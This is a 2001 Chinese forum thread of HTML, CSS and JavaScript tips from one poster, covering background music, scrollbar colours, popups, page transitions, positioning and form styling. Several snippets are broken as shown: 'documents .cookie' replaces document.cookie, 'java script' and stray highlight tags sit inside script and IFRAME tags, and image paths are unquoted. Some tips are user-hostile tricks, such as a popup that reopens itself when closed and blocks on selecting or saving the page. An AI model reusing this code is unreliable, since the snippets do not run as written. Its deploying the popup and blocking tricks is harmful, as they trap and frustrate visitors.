<table width="120" border="1" height="120" class="alpha1" bgcolor="#78ACFF" frame="border">
 <tr>
  <td>
   <div style="position:absolute; width:110px; height:110px; left: 5px; top: 5px">test</div>
  </td>
 </tr>
</table>
</div>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:16pm

如何在我的页面中加入背景音乐?
IE: <bgsound src="*.mid" loop=infinite>
NS:<embed src="*.mid" autostart=true hidden=true loop=true>

*.mid你的背景音乐的midi格式文件


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:17pm

滚动条颜色
<STYLE>
BODY {
scrollbar3dLightColor: #ff0000; /*滚动条亮边的颜色
scrollbarArrowColor: #ff0000; /*上下按钮上三角箭头的颜色
scrollbarBaseColor: #ff0000; /*滚动条的基本颜色
scrollbarDarkShadowColor: #ff0000; /*滚动条强阴影的颜色
scrollbarFaceColor: #ff0000; /*滚动条凸出部分的颜色
scrollbarHighlightColor: #ff0000; /*滚动条空白部分的颜色
scrollbarShadowColor: #ff0000; /*立体滚动条阴影的颜色
scrollbarTrackColor: #ff0000 /*滚动条的背景颜色
}
</STYLE>
说明:1、必须是ie5.5+
2、当页面内容超出屏幕出现移动条时,设置的箭头颜色才有效
3、母页的设置对iframe窗口的滚动条颜色无效,但是对textarea文本筐的滚动条有效


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:17pm

关于textarea
没有滚动条:style="overflow: hidden;"
=-------------------------------
wrap=off/ virtual/ phisical
off:不会自动转行
virtual:自动转行,但提交时不包括自动转行产生的转行符
phisical:自动转行,提交时包括自动转行产生的转行符


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:17pm

关于open
open(url,name,features),其中features可以是
--------------------------------------------------------------------------------------------
toolbar: 工具条
location: 地址栏
directories: 目录图标
status:状态栏
menubar: 菜单栏
scrollbars:滚动条
resizeable: 在边上可以调整窗口大小
helpIcon:有无帮助图标
minmize:有无小图标
maxnimize:有无大图标
systemMenu:边框图标中系统菜单是否有效
以上取值均为yes/no/1/0
---------------------------------------------------------------------------
edgwStyle:(raised/sunken)窗口边界样式
borderSize:(thick/thin)窗口边筐尺寸
---------------------------------------------------------------------------
定义字体
font-size:
font-weight:
font-style:
----------------------------------------------------------------------------
定义窗口大小与位置
width:
height:
top:相对于桌面窗口顶部位置px
left:相对于桌面窗口左边位置px
center:(yes/no/1/0)在中心


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:30pm

让弹出窗口只打开一次
<script>
function openwin(){
window.open("page.html","","width=200,height=200")
}
function get_cookie(Name) {
var search = Name + "="
var returnvalues = "";
if (documents .cookie.length > 0) {
offset = documents .cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = documents .cookie.indexOf(";", offset);
if (end == -1)
end = documents .cookie.length;
returnvalues=unescape(documents .cookie.substring(offset, end))
}
}
return returnvalues;
}
function loadpopup(){
if (get_cookie('popped')==''){
openwin()
documents .cookie="popped=yes"
}
}
</script>
<body onload="loadpopup()">


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:31pm

怎样让表单没有凹凸感

 HTML 代码片段如下:
<input type=text style="border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom: 1 solid #000000"></textarea>
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:31pm

<div><span>&<layer>的区别
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:31pm

关于页面转换效果
<meta http-equiv="page-enter" content="revealTrans(Duration=4,Transition=23)">

<meta http-equiv="page-exit" content="revealTrans(Duration=4,Transition=23)">

说明:Transition=23是随机效果,另可以选0-22任一数字固定某个效果


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:31pm

怎样预下载图片?
<script language=java script>
var imageArray=new Array()
imageArray[0]=new Image(100,100)
imageArray[0].src=logo.gif
imageArray[1]=new Image(100,100)
imageArray[1].src=logo2.gif
imageArray[2]=new Image(100,100)
imageArray[2].src=logo3.gif
</script>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:32pm

如何设定打开页面的大小

 HTML 代码片段如下:
<body onload="top.resizeTo(300,200);"><!--(width,height)-->

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:32pm

怎样双击滚屏,单击停止?

 HTML 代码片段如下:
<html>
<head>
<title>新網頁1</title>
</head>
<body>
<script language"<B style="color:black;background-color:#A0FFFF">javascript</B>">
var currentpos,timer;
function initialize()
{
timer=setInterval("scrollwindow()",10);
}
function sc(){
clearInterval(timer);
}
function scrollwindow()
{
currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();
}
document.onmousedown=sc
document.ondblclick=initialize
</script>
<p>a</p><p>a</p><p>a</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>a</p>
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:33pm

如何让body中的文字不被选中?

 HTML 代码片段如下:
<body onselectstart="return false" >aaa</body>
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:49pm

绝对定位的负数是怎么会事?
绝对定位(position:absolute):以屏幕左上角(left:0,top:0)为原点,向右、下为正方向放置元素,left、top若为负数,元素将有部分或全部在屏幕外而看不到,若为正数向右、下超出屏幕,窗口会出现滚动条来显示它。绝对定位对正常排序的其他元素没有影响。

相对定位(position:relative):以此元素本该出现的位置为原点,向右、下为正方向放置元素,left、top(不论正负)设置的数超出屏幕所能显示时,元素将有部分或全部在屏幕外而看不到,也不会出现滚动条。相对定位在页面占有空间,不管相对定位的元素是否在原位,接下来的元素会在前面给相对定位的元素留出空间.就像相对定位的元素在那个地方一样.
(个人见解,还望大家指正:)

 HTML 代码片段如下:
<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style tyle=text/css>
div{font-size:20px;color:green;background-color:yellow}
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
 
 <table width="75%" border="1" align="center">
  <tr>
   <td width=50% height="127"><img src=logo.gif>元素正常位置</td>
   <td width=50% height="127"><img src=logo.gif style="position:relative;top:-40;left:900">R1(900,-40)图片超出屏幕右端,但不出现滚动条(前面留出了空位)</td>
  </tr>
  <tr>
   <td height="120"><img src=logo.gif style="position:relative;top:-40;left:30">R2(30,-40)图片相对出现偏移。</div></td>
   <td height="120"><img src=logo.gif style="position:relative;top:888;left:30">R3(30,888)图片超出屏幕下端,但不出现滚动条</td>
  </tr>
 </table>
<div style="position:absolute;top:-40;left:220">A1(220,-40)</div><!--A1在屏幕上将看不到-->
<div style="position:absolute;top:0;left:0">A2(0,0)</div>
<div style="position:absolute;top:12;left:777">A3(12,777)</div><!--A3超出屏幕,出现滚动条(屏幕右)-->
<div style="position:absolute;top:-9;left:220">A4(220,-9)</div><!--A4有9像素在屏幕看不到(屏幕顶上)-->
<div style="position:absolute;top:300;left:-14">A5(-14,300)</div><!--A5有14像素在屏幕看不到(屏幕左)-->
<div style="position:absolute;top:650;left:220">A6(220,650)</div><!--A6超出屏幕,出现滚动条(屏幕下端)-->
</body>
</html>
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:49pm

如何让弹出的窗口不能关闭?
在新开的窗口中加入如下代码

<body onunload=open(location.href)>
</body>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:50pm


如何控制href,img等支持title属性的控制其title的显示格式?
请参考如下代码 

 HTML 代码片段如下:
<html>
<head>
<title>图片提示文字</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<a href="#"><img src="http://www.51js.com/logo.gif" alt="《杀手无罪》

类型:电影

产地:美国

片长:单本剧

主演:妮芙·坎贝尔 唐纳德·萨瑟兰 威廉·梅西 约翰·瑞特尔 特蕾茜·乌尔曼" width="88" height="30" border="0"></a>
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:50pm

标签fieldset的使用例子
<fieldset></fieldset> // 外表
<legend>XXX </legend> //外表標題
<TABLE>.....</TABLE> //表格

 HTML 代码片段如下:
 
<fieldset style="width:220" align="center"> <legend> 表中表效果Ⅱ </legend>
<table frame=hsides border="1" bordercolorlight="#000000" bordercolordark="#ffffff" width="100%" cellspacing="1" cellpadding="0" height="78" >
<tr bgcolor="#ffffff">
<td width="100%" height="76">
<p align="center"><font color="#000000">表格教程 SERRON</font><p>
<td>
</tr>
</table>
</fieldset> 

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:51pm

如何让浏览器在保存页面时保存失败?

 HTML 代码片段如下:
<NOSCRIPT>
<<B style="color:black;background-color:#ffff66">IFRAME</B> SRC="*.html">
</<B style="color:black;background-color:#ffff66">IFRAME</B>>
</NOSCRIPT>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:51pm

一个页面内所有复选框的全选功能如何实现?

 HTML 代码片段如下:
<input type=checkbox><input type=checkbox>
<input type=checkbox><input type=checkbox>
<button onclick=SelectAll()>SelectAll</button>
<script>
function SelectAll()
{
 var cInput=document.all.tags('INPUT');
 for(var i in cInput)
  if(cInput[i].type=='checkbox')cInput[i].checked=true;
}
</script>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

 


阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页